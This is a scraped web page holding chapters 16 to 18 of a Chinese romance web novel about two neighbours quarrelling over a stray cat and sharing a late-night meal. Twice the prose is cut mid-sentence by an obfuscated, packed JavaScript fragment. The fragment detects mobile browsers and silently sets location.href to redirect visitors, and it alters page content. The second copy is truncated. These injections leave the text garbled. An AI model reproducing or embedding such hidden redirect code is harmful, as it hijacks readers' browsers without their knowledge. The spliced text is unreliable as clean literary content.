黎雾板着个脸:“咳咳,你承不承认,自己就是个无恶不作十恶不赦的。” 千钧一发之际,她忽地顿了下。 这么一顿,陈明清瞥她一眼下意识就想接梗,脱口而出,下了罪名。 “偷、心、贼。” 这三个字像是一记重锤,砸在陈忘野头上。眼前两个人,一个怒气冲冲,一个幸灾乐祸,半晌没有说话。寒风从门缝中钻进来,吹散了屋内的暖气。 陈忘野站在门口,半靠在门框上,身上只穿着一件单薄的家居服,黑发微微凌乱,像是刚从睡梦中惊醒。 过了半晌。 "我偷了什么?"他慢悠悠开口。 16.输了·别哭 - 《勿忘》【chapter.7 输了·别哭】 - 偷、心、贼。 ? 陈明清的声音在寒风中清脆地回荡,三个字像三颗子弹一般,没射中陈忘野,倒是正中黎雾的靶心。 她抬头的瞬间正好对上陈忘野似笑非笑的眼,莫名慌张,往后退了半步。鞋底在带雪的地面上滑了一下,她连忙扶住门框稳住身体。 原本兴师问罪的气势因为这三个字功亏一篑,黎雾把陈明清扯到身后,连忙改口,“偷猫贼!哈哈。偷猫,偷猫。” “是是是,偷猫。”看见黎雾的反应,陈明清更觉得有趣,忍着笑拍了几下自己的嘴巴,眼神在他俩身上乱飘,被黎雾剜了一眼才终于收敛。 “这鬼天气冻得他嘴都瓢了。“黎雾解释道,话说得心虚,眼神却格外大胆,绕过陈忘野的身子直勾勾地往他家里瞟,寻找着小猫的踪迹。 陈忘野没接茬,站在门口,身影被冬日冷白的日光勾勒出模糊的轮廓。 看到黎雾的瞬间,他的眉梢微不可察地挑了下,瞳孔中闪过一丝惊讶,嘴角抿成一条冷淡的直线。 见黎雾心不在焉,注意力明显不在他身上,他也没过多纠缠,随即把目光落在陈明清身上,上下扫视打量了一番,嘴角轻微抽动了下,像是在忍住笑意。 “你这什么表情啊?怎么跟刚刚老郝看我的时候一模一样。”陈明清像进自己家一样,很熟练地推门就进去,轻车熟路地脱掉雪靴,放在门口的鞋架上,还顺手拿了两双拖鞋给自己和黎雾。 黎雾犹豫了一下,还是跟着陈明清进了屋。室内的暖气扑面而来,让她冻僵的脸颊微微发烫。她默默地打量着这个陌生的空间,眼睛扫过每一个角落,寻找着小猫的身影。 家里不大,目测就是一间客厅和一个小卧室,整间房间非常干净,窗边摆着几个打包好还未拆封的行李箱,显然是刚搬进来还没来得及整理。客厅的墙面是简洁的米白色,没有任何装饰,只有一个小书架,上面整齐地摆放着几本物理和数学的专业书。 陈明清揽着黎雾的肩膀,嘴角挂着调侃,下一秒被她一把推开。 他拍拍自己的肩,问陈忘野:“你不会也和老郝一样以为黎雾是看上我了吧?” 陈忘野靠在墙边,双手环胸,看都没看他一眼,淡淡道:“她不可能。” “怎么就不可能?” “她又不瞎。” “呵,你倒是了解她。”陈明清眯起眼睛来回打量了他们两圈,见没人理他,自己也觉得没趣,讪讪地问他哥,“那你盯着我看干嘛。” 陈忘野没说话,只是盯着他,嘴角抽了下,欲言又止。 黎雾顺着他的目光看向陈明清,他穿着一身做旧款褶皱发黄的大牌大logo雨衣,下面是一条破洞的紧身小脚牛仔裤。 一身好几万,只可惜穿他身上,还以为是哪来的流浪汉呢。 她嫌弃地撇撇嘴,已经知道陈忘野心里在想什么了,替他解释道:“盯着你看就因为你这身行头碍眼又扎眼呗。我刚刚都没好意思告诉你,老郝拎着他小外甥出楼的时候,我刚好在他们身后听见他俩聊天了。” “他小外甥问,小叔,我爸爸说人不好好学习就没出息找不到工作上大街喝西北风,就是跟刚刚那个叔叔一样吗?” 陈明清果然跳脚:“靠,谁tm是他叔叔。我才17!如花似玉的年纪。” 黎雾没忍住看了眼陈忘野。 对比明显。 一身简单的黑衣黑裤,质地柔软,衬得他肩线利落分明。冷白阳光穿过水汽氤氲的窗户,将他整个人裹在一片湿意中。 明明是一身黑,却不显沉闷,反而衬得他整个人干净清爽,少年感十足。 偷看的目光被陈忘野一秒抓包,黎雾甚至还看见他挑眉笑了下,脸上就差写着“再看收钱”几个大字了。 黎雾面不改色地收回眼神,听身边陈明清唠唠叨叨:“哥,你不会是因为家里有学区房才能上附中吧?” “学区房只能上初中吧…”陈忘野不紧不慢地回答,顺着黎雾的目光看向窗外,雾蒙蒙的天空中飘着几朵丝状的云彩,不远处能看见附中校园飘扬的国旗。 他淡淡道:“况且这是租的房子,不带学区。” “哥,你怎么比我还懂。”陈明清惊讶。 “我自己花钱交房租总要交个明白吧。” 黎雾也点头:“是啊,这里的买房价和租房价可完全不是一个数量级。” 陈明清掏出手机,随手在网页上搜索了几下:“真的诶,确实租金挺便宜,你当时说要搬出来搬到柳居,我还以为你是嫌知夏书院那大别墅都配不上你高贵身份呢,想要这里的文人墨气熏陶。” “这里的价格还不到知夏书院的二十分之一,当然面积也小。”黎雾说着,环顾了一圈。 “大小姐还懂这些?”陈忘野突然开口,眉梢微挑。 黎雾语气淡淡:“我不是大小姐。” “不是大小姐住知夏书院?” “我家最多称得上是暴发户,等哪天我有钱能自己买房了我也想住柳居。” 听到这话陈忘野站在原地笑了,松松散散,笑意不及眼底,只显得敷衍,“不会是为了给孩子准备学区吧?这么高瞻远瞩?” “那不至于,也没兴趣。”黎雾不管他的阴阳怪气,自顾自地解释道,“柳居离附中近嘛,这条街全是好吃的,像我这种懒人在这里肯定能白白胖胖健健康康地活下去。” 陈明清也接茬,“就是啊,知夏书院治安太严格了,连外卖都进不来,饿都能给我饿成干尸。” “不过哥,这房租这么低,你不怕搞到凶宅啊?”陈明清絮絮叨叨,“一家人天天念叨风水,搞得我也有点魔怔。” 话音刚落,陈忘野的态度突然冷了些。 空气安静。 屋内暖气开得不低,窗外的雪花似乎融化了些,挂在窗台化作冰棱,落不下,莫名尖锐。 他背过身去,撂下一句,“我这人从不信鬼神。” 气压骤降,黎雾看到陈明清在他哥背后低着头,说错了话很懊恼的样子,皱着眉,竟然还抬手轻轻扇了自己一巴掌,当然没使力,不过这行为在他身上也属于彗星撞地球的罕见了。 他小声自责地嘟囔道:“呸,我这张没把门的烂嘴啊。” …… - 话题扯偏,黎雾差点都忘了自己来陈忘野家的目的。 半小时前,陈明清和黎雾在楼下翻朋友圈,翻了二十分钟也没翻出个所以然。黎雾不耐烦,也掏出手机漫不经心地划着,点进班群,她突然注意到某个人的头像换了。 上次看他的头像还是微信自带的灰色剪影。 听陈明清说是他回国刚办的新手机号,刚注册的微信,所以是原始头像。 小图能看出他的新头像是个毛绒绒的小动物,她眯起眼睛,忍不住点进他的头像放大看。这个动作让阳光下的手机屏幕反光更厉害,她不得不侧身挡住光线。 不看不知道,一看吓一跳。 屏幕上小小的圆形头像里,汤圆正蜷成一团,黑色的小脸衬着雪白的身体,像一颗漂亮的巧克力糖球。 “你说的朋友圈…”黎雾脖子僵硬,一帧一帧地扭过头问陈明清,手指点着屏幕,“不会是这个吧…” 陈明清探头一看,一拍大腿:“哦!就是啊!我说我怎么翻朋友圈翻不到呢。原来是我哥头像啊!” "他为什么会用我的小猫做头像……" “他也会喜欢可爱的东西啊。”陈明清翻了个大白眼,"人又不是性冷淡。" “哈?”黎雾懵,“这是重点吗…?” 这下破案了。 怪不得她没看到过照片,因为她根本就没有他微信。 她怀疑全班就剩她一个人没加他微信了。 就因为那天说了他一句随便。 造孽啊。 早知道早点加就能早点找回小猫了。 …… 思绪回落。 黎雾盯着客厅角落。 小猫的的确确在陈忘野家,只不过跟她之前见到它时的状态不太一样。 以往它总是躲在树丛深处,警惕地观察四周,身上的毛发因为流浪而略显杂乱。 现在它大概是刚洗过澡,毛色干净又蓬松,白色的被毛亮得刺眼,舒舒服服盘成一圈瘫在窗边的猫窝里,见有外人来也没躲藏,只是伸了个大懒腰,前爪伸直,背部弓起,然后打了个大哈欠,露出粉色的小舌头,睡眼惺忪。 和之前谨慎小心的样子大相径庭。 “等下,这还是我在楼下喂的那只吗。”黎雾都愣了,赶紧找出手机中的照片对比,手指在屏幕上左右滑动,放大缩小反复确认。 脸上的花纹分布一模一样,眼睛的颜色也一样,黑灰色的耳朵形状独特,尾巴尖上有一小块白色斑点—— 百分百是同一只小猫。 只不过现在它淡定慵懒的样子和某个人像一个模子里刻出来的,懒洋洋地伸着腿,眼神中带着十足的漫不经心。 “妈妈来接你回家了!”黎雾自顾自地喊。 紧接着,她一回头就撞进陈忘野的目光。 他眸色漆黑,眼里带着毫不掩饰的审视:“进来就说我是偷猫贼,然后急着说自己是妈妈,就是想宣示主权?” “明知道小猫已经是我的了,恬不知耻地入室抢劫还要给自己冠上一个正义的名头?” 一股无名火涌上心头,黎雾双手抱胸,毫不退缩地直视回去:“所以你也知道它就是我当时微信发的那只小猫?那你还把它带回家干嘛。” “我又不是照相机看什么都印在视网膜里,你刚刚拿着手机对比半天,我不想看也得看见了。” 陈忘野的语气平静,带着一丝不屑。他蹲下身,修长的手指轻轻摸了摸小猫的头顶,小猫立刻仰着头蹭他的手掌,发出满足的呼噜声,一副极度享受的样子。 他唇线拉直,“总之它已经是我的小猫咪了。” “它是个生命,又不是物品,怎么就是你的了。你问它想不想和你过了吗?” “它一直跟在我屁股后头,跟着我回家,甩都甩不掉。”陈忘野轻描淡写地说,笑得欠揍,“这么明明白白地赖上我还不是想跟我过?” 怎么可能?? 为什么之前每次她一靠近它它就想逃跑。 嫉妒心和胜负心上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229495|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,黎雾知道自己不占理但还是想搏一把,挺直腰板怼回去,“我之前已经决定要领养它了,它就已经是我的猫了。” 陈忘野站起身,身高优势明显,目光也显得居高临下:“没这道理。想都别想。” “你知道这是什么猫吗?”黎雾换了个策略,突然问。 陈忘野明显不买账,哼了声,“我养猫还得知道品种?” “你连品种都不知道你还要养它?” “暹罗?” 这下算是撞到她枪口上了。 黎雾微笑,一脸抓到了人小辫子的得意样,“不是,我就猜你会说它是暹罗猫。错了,它是重点色英短。” “哦。”某人毫不在意。 气氛剑拔弩张。 只有陈明清像个傻子一样在旁边鼓掌拍手,看热闹看得高兴。 他从来没见过黎雾吵架会输,平常她和他吵架都是三两句就把他怼服了,他连还手的余地都没有,头一次见到能和她旗鼓相当的。 不过陈忘野也挺反常的。 说实话陈明清和这个“哥”并不熟,这么多年也没见过几面,刚被接回家的时候他沉默又冷淡,几乎不说话,即便看人也总是垂着眼一副居高临下的模样,眉眼锋利,目中无人,显得很傲气。 以往陈明清最恨这种装逼男,可对陈忘野,他是打心眼里觉得服,人家就算装也是有资本的装。 天崩开局,爸妈抛弃,姥姥过世,小叔破产,叔母自杀。 在外漂泊那么多年,辗转了那么多人家,他没混成小混混,反倒混成了一个世俗意义上的“天之骄子”。 这些年他就从来都没向谁低头过。 他也知道陈忘野不可能和这个家有什么感情,但也没想到他这么快就要搬出去,走的时候甚至还把爸妈给的银行卡留在了桌上。 重新夺回来的富二代人生不过,非要出去受苦。房租都不知道他是怎么凑齐的,居然还弄了一只小生命回家。 最反常的是,一个漠然薄情,且对任何事都不屑一顾,眼睛长在天上的男人,此时此刻竟然颇有耐心地,边撸猫,边认认真真地和黎雾进行如此幼稚且无聊的对话。 实在是太tm抽象了。 他一字一顿,“我都说了,它叫煤球。” “什么煤球啊,就是汤圆。它又软又嫩又白,只有一点点黑,汤圆多形象啊。煤球那么硬,而且从里到外全都是黑的,和它一点都不适配。” “肤色歧视?” “别曲解我的话啊。”黎雾不甘示弱,“我都喂了它两个月了。” “两个月你都不带它回家还说它是你的猫。”陈忘野扯着唇角,“我两天就带它回家了。” 黎雾:“所以才说你随便啊?” 某人嘴角一抽:“?” 他长呼了口气,话音冷静了些:“我把话说开了得了,其实你父母根本就不同意你养猫吧。” 听到这话,黎雾的眸色难以控制地颤了下。 “被我说中了?”陈忘野瞬间捕捉到了她的犹疑,冷哼一声,乘胜追击道,“大小姐真想对抗家庭,就拿出点魄力。要么就等自己的羽毛长齐了,再来逞强。” 黎雾张张口还想说点什么,陈忘野终于有点不耐烦了,把她赶到门口,语气说不出的狂妄,居高临下,“再说一遍,它是我儿子,跟着我回家就是我儿子。” 他低头问:“是不是啊?煤球。” 汤圆/煤球:“?喵呜。” 他弯腰抱起小猫,捏着它的猫爪朝她挥手,语气很欠,微笑道:“和你姐姐说拜拜。” 还故意加重了“姐姐”两个字。 “什么姐姐!是妈妈。”黎雾气急。 “这是我的小猫,和你没关系。” 他话说得斩钉截铁,“以后也没关系,永远都没关系。” “慢走不送。” 然后他“砰”地一声关上了门,碰了黎雾一鼻子灰。 - 好景不长。 十分钟后。 像鬼打墙一样,客厅里,两人一猫,六目相对,又一次大眼瞪小眼。 谁也不让谁。 陈明清都听累了,坐在地板挠挠耳朵,提议道:“要不你们用男人的方式解决吧。” “怎么解决?”黎雾问。 “打一架啊,谁打赢了猫就归谁。” 黎雾:…… “你们男人怎么总是这么原始。” “这样吧,咱们比赛吧,公平一点。”她朝陈忘野扬扬下巴。 “比什么?”他不以为意,只想速战速决。 “数学。数7。” 数7游戏。 这是黎雾的经典老牌游戏了。 听到这个陈明清就瑟瑟发抖,听起来是简单,但她就是个魔鬼。 小时候他还不服输,非要和她玩,零花钱全都输给她了不说,最后输得连衣服都不剩,就剩个小裤衩回家。 然后他苦练了一个月又去找她决斗,这下输得连小裤衩都不剩了,哭着回家,直接风吹屁屁好凉爽。 “OK。” 陈忘野插兜站在原地,拖着强调,满不在乎地笑了下。 “输了可别哭。” 17.太没·出息 - 这两天黎雾在家没干别的,就研究她那篇小说了。 可不管怎么翻阅,不管怎么咀嚼那些文字,她都恍惚觉得在看别人的故事,没有一丝一毫的实感。文字在纸上跳跃,却无法与她的记忆重叠。 要不是笔名赫然写着她的,故事里出现的校名人名猫名也都能在现实中找到对应,她绝对会怀疑这就是一篇纯粹虚构的故事,用来整蛊或者愚弄。 会不会其实她活在楚门的世界?四周的墙壁其实是一个巨大摄影棚的边界? 周围的所有人都是按照剧本出演的NPC,而她也只是在无意识地配合其他人的表演,像是被操控的提线木偶。 但这想法未免过于自我中心,而且陈忘野这个人怎么看也不像会是甘愿给人做配的主,他可是连写酒单都要玩梗NPC的人。 抑或是她只是穿越到了平行世界,就像是都市传说中消失的"潘博文"事件,她的世界从来就没出现过陈忘野这个人,而在她原本所在的时空,她就成了消失的"黎雾";而那个带有陈忘野记忆的黎雾就会在没有他的时空,永远找那个消失的"陈忘野"。两个世界的两个人,永远交错,永远找寻,却永远无法相遇。 这个想法更是细思极恐,大半夜的吓得人脊背发凉,冷汗一丝丝地渗出来。 夜里失眠睡不着觉,辗转反侧间,床铺似乎变成了荆棘丛,扎得她浑身不适。黎雾望着天花板上投射的树影,又过了好久,在她终于有些困意、眼皮开始发沉的时刻,偏偏汤圆开始在客厅疯狂挠门,发出"刺啦刺啦"的尖锐声响。 黎雾头脑有些发晕,迷迷瞪瞪地掀开被子下了床,光着脚踩在微凉的地板上,打了个寒颤,出了卧室。 她想着小猫大概就是大半夜闲得无聊,想寻求关注,准备过去捉住它就抱回屋睡觉。 她也不想把动静搞得太大,没开灯,怕困意彻底消失。 她循声找过去,漆黑一片里,只能听到一两声“喵呜”,和指甲划过木板的刺耳声。她对这个家还不太熟悉,只依稀凭方位判断,小猫所在的位置是两间房间的交界处。 她走到声源处,低头刚要抓猫,借着从窗帘缝隙中洒入的朦胧月光,她看到汤圆灵活地跳起来,咔嗒一声扣下了门把手,门忽地被推开,发出一声轻微的"吱呀"。 浑浑噩噩中,她看到门后出现了一个高大的黑影。 就在她的眼前,不到一臂的距离。 一瞬间黎雾吓得浑身汗毛竖起,血液倒流直冲天灵盖。 "啊啊啊啊啊啊啊啊啊啊啊——" 她尖叫出声,声音撕开黑夜。 那黑影被她的尖叫声吓得后退了一步,“啪”地按开了灯。 …… 陈忘野忙完工作回家已经1点多了,肩膀因长时间伏案而发酸,脑海中还回荡着会议室里嘈杂的争论声。 他刚回家就听到从两个房间的交界处传来了指甲挠门的声音。 声源在另一侧,一听就知道是煤球干的好事。 以前两个房间的房门是打通的,猫半夜爱跑酷,就喜欢在家里边跑边巡逻,它自己眼里估计是个霸王,在他眼里就跟个保安似的。 这下领地直接少了一半,它肯定不干。 这小猫也没什么猫生追求,就这点爱好,可惜也满足不了。 但他也不可能给猫开门,毕竟某人抢了他的猫就跑了,现在还防他像防贼一样,把门锁得严严实实。 他本想着隔着道门和小猫“谈谈心”,没成想刚一过去门就被推开了,然后他就听到了那声仿佛被人割了喉般的尖叫。 黑暗中,她个头小小的,身影在月光下格外单薄,嗓门却不小,吓得他也是一愣。他第一反应想要伸手搂住她,知道她胆小,肯定是被吓着了。 手抬到一半停在空中,他意识到不合适,立即撤了回来,顺势开了灯。 毕竟在她心中,他们只是普通邻居的关系。 仅此而已。 - 十分钟后,黎雾坐在沙发上抱着抱枕,惊魂未定。 陈忘野低身递给她一杯热水,顺势坐在一旁的单人沙发,长腿交叠,打量了她两秒,问:“刚刚看鬼片了?怎么魂都吓飞了?” 黎雾接过热水,温度从指尖蔓延到掌心,道了声谢,“没,我刚刚想失忆的事呢,想得有点害怕。” 她抿了一口水,温热的液体顺着喉咙滑下,融化了些不安。 “有什么可害怕的。”他挑眉,向后懒懒靠在沙发背,显得不经意,“说来听听?” 黎雾还没来得及回答,“咕噜噜噜噜”,肚子忽然响了一声,像是小鼓。声音不大,却在安静的客厅里格外清晰,就是尴尬。 她赶紧猛吞了两口热水,发出“咕嘟咕嘟”的声音,试图给自己挽尊。 隔着层厚抱枕,他应该没听见吧? 黎雾喝完水隔着杯子偷瞄了他一眼,正好对上他似笑非笑的眼。 她清清嗓子,决定转移话题,说点正事,“我确实有些事情想要问你,你现在忙不?” 陈忘野起身绕过沙发往外走,顺带抛了句,“不忙,说。” 嘴上说着不忙,动作是一点也没闲着,他脱掉大衣后直接去了厨房,打开冰箱门拿出一堆花花绿绿的食材,放在灶台上。 这架势是要做夜宵。 “你别忙了!不会是要做饭吧。”黎雾可不敢再承他的人情,在沙发上扭着身子转头看他,慌忙摆手,“咱俩这非亲非故的,我受不起。” 他站在灶台,过了半晌,“百忙之中”掀起眼皮,无辜又欠揍地问:“我说是给你做的了?” 厨房是开放式的,黎雾在客厅也能看清他的动作,他手速很快,刀起刀落间光影闪动,三下五除二就切好了葱花,细碎均匀,又切了个西红柿,打了两颗鸡蛋。 “哦。”黎雾更尴尬了,自己自我意识果然是太旺盛,她讪讪问:“你加班加到这么晚都没吃饭啊?” “嗯。”他简短地应了一声,目光专注于手上的动作,没有抬头。 “真辛苦。”黎雾感叹。 她之前听陈明清提了一嘴,他这些天一直在公司处理她违约的事呢,忙着和投资方见面。 这事处理起来比想象中复杂,弄得大家都很疲惫。 气氛有些尴尬。 黎雾坐立不安,纠结过后还是起身,“算了,你要是忙的话我就不打扰你了,之后等你有时间再聊也行。” 就在这时候,小猫突然不知道从哪里窜出来,“嗖”的一下猛地跳上了厨房灶台,仰着头“喵呜”两声,大摇大摆地从砧板上走过去,踩出一串小小的脚印,雄赳赳气昂昂。 尾巴翘得老高,像扫把一样扫过陈忘野的下巴。 “这小猫现在越来越无法无天了。”陈忘野叹了口气。 厨房重地危险,他才把刀收好,手上还沾着两颗葱花,一时半会儿挪不开身也治不了它,只能双手比作投降状,很无奈地仰头向黎雾扬了扬下巴,“帮我管一下。” “哦。”黎雾过去从他身前小心翼翼地把猫抱走,它倒是乖,也没挣扎,好像只要跳上灶台吸引了大家的注意就算成功,任务完成。 把猫抱在怀里,制服住,黎雾没忍住回头吐槽,“它也不怕你切着它。” “它贼着呢。”陈忘野哼了声,“看人下菜碟,知道我伤不着它。” “哈哈…”黎雾笑得勉强。 呃,怪不得她今天做饭的时候,它离她可远了。 生怕她轰炸厨房殃及池猫。 “汤圆一直都有别人做饭的时候上来捣乱的习惯吗?”她问。 “它挺喜欢趴在桌子上看人做饭的,但踩菜板倒是头一次。”陈忘野边洗菜边说,刚挽好的衬衫袖子因为被猫捣乱滑了下来,腕口溅上些细密的水珠,浸得皮肤发涩。 他抬起手用额角蹭袖子,试图把袖子挽回去,弄了几次都是失败。 准备放弃之时,黎雾突然出现在他身旁,她把猫放在地上,伸手过来拽了下他的袖口,“我帮你弄吧。” 没有征询他的意见,自然而然。 她的语调平静,表情也是淡淡的,指尖冰凉,不经意蹭过他的手腕,却激起一片灼热。 他的喉结下意识滚了下,呼吸都紧了些。 别太没出息。 正当他思绪混乱之时,下一秒手腕处传来些拉扯的力道,他低头一看,没忍住都气笑了,哼了声,“挽袖子就挽袖子,你扯我的表做什么?” 黎雾弯腰凑近,盯着他的手表,认认真真地眨了眨她水灵灵的大眼睛,抬头问他:“你这表几十万还是几百万啊,能沾水吗?我帮你摘了吧。” 合着是看上他的表了。 “不劳你费心。”陈忘野气不打一出来,张口就来,微笑,“这表能带着潜水。” “哦。”黎雾撅嘴,那表情明显是遗憾了。 陈忘野刚要讽刺两句,酝酿好情绪,话到嘴边还没来得及说,下一秒她突然凑近,踮起脚尖,整张脸朝他凑上来。 眼看着她的五官在他眼前无限放大,鼻尖萦绕着她似有若无的香气,他低着头,没后退,呼吸都停了。 在她即将要碰到他的瞬间,感性告诉他该闭眼,他硬是忍着没闭,就这么静静盯着她看。 几秒钟像是一个世纪。 然后就见她抬手扯了下他的发丝,邀功式地仰头朝他笑,绿油油的葱花粘在她的指尖,怼在他眼前,“你头上有个葱花,我帮你拿掉了。” 陈忘野又一次感激自己是个T人,理性总是大于感性。 刚刚要是闭眼了,现在不知道要被她嘲笑成什么样。 他打量着她唇角的弧度,轻呵一声,拿捏着劲儿:“拿个葱花离我那么近干什么。占便宜?” 黎雾无辜歪头:“我没戴隐形眼镜啊,看不清。” 然后转身就跑了,活力四射地追着小猫在客厅跑了两圈,一把拎起它,低头蹭了下它的脑袋,“是不是妈妈回来了,有人给你撑腰了?连菜板都敢上了,是不是想炖猫汤给妈妈喝呀?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245644|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你就宠它吧。这种情况就应该打屁股教训它一顿。”陈忘野无奈。 “这不是正在教育呢吗。”黎雾没抬眼,专注于手中的毛球。 陈忘野边往碗里倒面粉,加水,边看黎雾所谓的“母爱教育”。 她把小猫放在沙发上,双手禁锢住它的脑袋,和它大眼瞪小眼,表情很认真。她的脸很白,和上学那会儿一样,很像南方的酒酿米糕,糯糯的,好像捏一下就会弹回来,就差淋上些桂花飘香。 此时此刻她抿着嘴,皱着鼻子,很努力地装出一副很凶的样子,样子甚至比煤球更像一只小奶猫。 “以后不可以在厨房玩了,知道吗。” 下一秒她忽地撅嘴凑上去,“mua!”地一下狠狠亲了一口它的脑袋,离开,问:“知道了吗?” 小猫不回答,她又凑上去,“mua!”一下。 “知道了吗?” “mua!mua!mua!” 陈忘野眼底浮现出笑意,很少见,甚至连他自己都没意识到。 “母爱教育”循环往复大概有十几次,煤球终于偃旗息鼓地“喵呜”了一声,算是投降。 体力消耗不小,黎雾一天没怎么吃饭,此时已经是饥肠辘辘了。 厨房那边热火朝天,闻着这味道,听着这声音,她愣了下,竟然久违地感受到了一种她似乎已经遗忘已久的温暖。 是她最贪恋的人间烟火气。 饭做好了。 是一碗看似平平无奇的疙瘩汤,但要想十几分钟做好也没那么容易,光是搅面糊这个过程就够劝退的了,更别说他还讲究营养搭配和色彩搭配,番茄鸡蛋配上葱花蘑菇和小菜叶,最上面还加了点黑松露点睛,整个一个色香味俱全。 端上桌的瞬间,热气腾腾氤氲在空中,香气铺面而来,馋得黎雾口水都要下来了。 其实她晚上也没好好吃饭,本来想蒸个鸡蛋羹的,准备工作可谓完美,鸡蛋打得均匀,盐放得刚好,不料蒸到一半听到一声脆响,她打开锅盖,发现碗和羹一起裂了。 亏她大学还是物理学专业的,真丢人。 肠胃炎还没好利索也不方便点外卖,她就喝了点陈忘野昨天留的剩粥。 又是苟活的一天。 不怪她。 只能怪他做饭实在太好吃,和他的外表差异过大,明明看起来像是个十指不沾阳春水的霸总,生活能力却这么强。 那天他们四个人吃完饭,还剩了点粥,他准备倒了,被她拦下,“别扔啊!不吃能打包给我吗。” “真不愧是你们留子。”胡桃朝她竖大拇指。 …… 眼前,陈忘野煮了满满一大锅汤,热气蒸腾,他拿着汤勺慢条斯理地给自己盛了一小碗,勺子在汤上方轻轻晃了晃,确保没有滴落。 “拿这么一个小碗盛啊,好精致。”黎雾盯着他的瓷白小碗,不到巴掌大,上面刻着细密的花纹。 “剩下的放锅里保温。”他目不斜视地绕过她,拉开餐桌椅子,发出“刺啦”一声,慢悠悠地坐下,动作优雅,模样斯文,开始品尝。 餐桌上,黎雾就坐在他对面,咽着唾沫,眼睛一眨不眨地看着他吃。 刚刚她还想过他会不会邀请她一起吃饭,紧接着下一秒就打消了这个念头。 这大半夜的,孤男寡女,男人亲自下厨为她做饭的场景,着实是有些暧昧了。 就算他敢邀请,她也不敢吃啊。 还好他没有。 不知道是不是故意的,陈忘野今天吃得特别香,吸溜吸溜的,时不时还啧啧嘴,点点头,发出一些感叹声响,“嗯~哇,啊,呼。” 喝个汤跟唱Bbox似的。 “啧,是挺香。”他皱皱鼻子感叹。 等他喝完这碗,黎雾已经快被他馋晕了。 心说她这大半夜真是来找罪受,还不如早点回去睡觉。 陈忘野已经吸溜完碗里的最后一口汤,一滴不剩,他直起身,往椅背上一靠,姿态很懒散,像是一只餍足的猫。 目光对上。 时间仿佛静止。空气里只剩下若有若无的汤香。 暖光灯下,他神色坦然,直白地盯着她看了会儿,忽地笑了下,吐了个词。 “饱了。” 黎雾有点发懵,眨眨眼:“你这吃了才不到五分之一吧,剩下的要扔了?” 他看着她,轻飘飘地“啊”了一声。 黎雾:…… 做了长久的心理斗争,她终于咽了下唾沫,没忍住,“能给我吃吗?” 不是浪漫,也不是暧昧。 只是不要浪费粮食。 就这么简单。 陈忘野继续盯着她看,一双黑瞳在射灯下显得很莹润,像是湾在夜色中凛凛泛光的湖泊,那目光不像在思考,只是在打量。 直到黎雾等得焦灼,甚至后悔想收回刚刚的话,他才慢吞吞给了答案,还故意拖长了尾音。 含着笑,显得很欠揍。 “也不是不行。” 18.饥不·择食 - 餐桌上,黎雾狼吞虎咽地喝着汤,身体暖了不少。她的脸颊因为热气而微微泛红,眼睛盯着锅里最后那一点点汤汁,咽了咽唾沫,犹豫再三,最终还是放下了勺子。 “不喝了?”陈忘野挑眉,扬扬下巴指着即将见底的汤锅。见她没反应,眼神还黏在锅上,他便起身准备收拾残局,手刚伸向锅柄,就被她拦住了。 黎雾几乎是下意识地扑上前,指尖扯住他的袖口,力道轻轻的,像是怕弄皱他的衣服,“诶诶诶别倒啊。” 随后又颇为不好意思地小声补充,“我专门留着想明天喝的…” “就剩这一口了。”陈忘野低头看了眼锅底那一层薄薄的汤汁,没忍住笑了,“活得这么可怜?已经到饥不择食的程度了?” 黎雾抬头,眨了眨眼,湿漉漉的,神情却出奇地认真:“嗯,不瞒你说,我现在看你都很有食欲。” 陈忘野:? 一瞬间的怔愣后,他眼底闪过一丝不易察觉的波动,随即又恢复了往常的模样。 他也不藏着掖着,有话直说,笑,“这是在撩我呢?” 黎雾认认真真地摇头:“不,这是一种修辞手法,表达我有多——么的饥不择食。” 闻言,某人心说。 那是不是不该给她弄那么多好吃的。 他倒希望她。 再,饥不择食一点。 …… 陈忘野思绪跑偏,一些不该出现的画面在脑海中一闪而过,又被黎雾接下来的解释拉回现实。 “为啥说我看到你有食欲呢。”她眉头微蹙,思路有些混乱,想了想,指尖无意识地点着下巴,还是决定从头说起,“因为其实我刚刚不是在扯你的表。” 她指指他的手腕,那里系着一条细细的红绳,上面串着一颗小小的红豆,在灯光下泛着温润的光泽,“我是在看你的手绳,那颗红豆的。有点眼熟,看见它我就心情很复杂,但我想不起来了。” 陈忘野抬起手腕,轻轻摩挲了一下那颗红豆:“这个?” “嗯。”黎雾点头。 他难得饶有兴致地看她,“什么复杂的心情,说来听听?” 黎雾点头,“哦,就是我看到这个就很想喝红豆汤。” 陈忘野:…… 所以他到底在期待什么。 “所以你想让我给你做红豆汤?”像是被人浇了盆冷水,他耐着性子问。 黎雾赶紧摆手,“不不不,我自己会做。” “不瞒你说,我不会做饭,基本做什么最后都变成黑暗料理。”她顿了一下,“但是我红豆汤做得很好的,只有这一个做得好。” “嗯?” “所以,我今天喝了你的汤,我下次和给你做汤吧。”没等他回复,她紧接着问,“红豆汤你喜欢吗?” 闻言,陈忘野半晌没说话,盯着她看了良久。再开口时收起了往日的散漫和嚣张,他的语调慢慢的,音色拌着如水的月光,难得温柔,“嗯,喜欢。” “很喜欢。” 听着他那句“喜欢”,黎雾的心好像被什么撞了一下,顿了下,突然加快。 猝不及防。 连带着纹身处也隐隐发痒。 “哦,那就这么定了。”她避开眼神匆忙撂下一句,回过身,下意识捂住胸口。 怕不是失忆没好,又得了心脏病了。 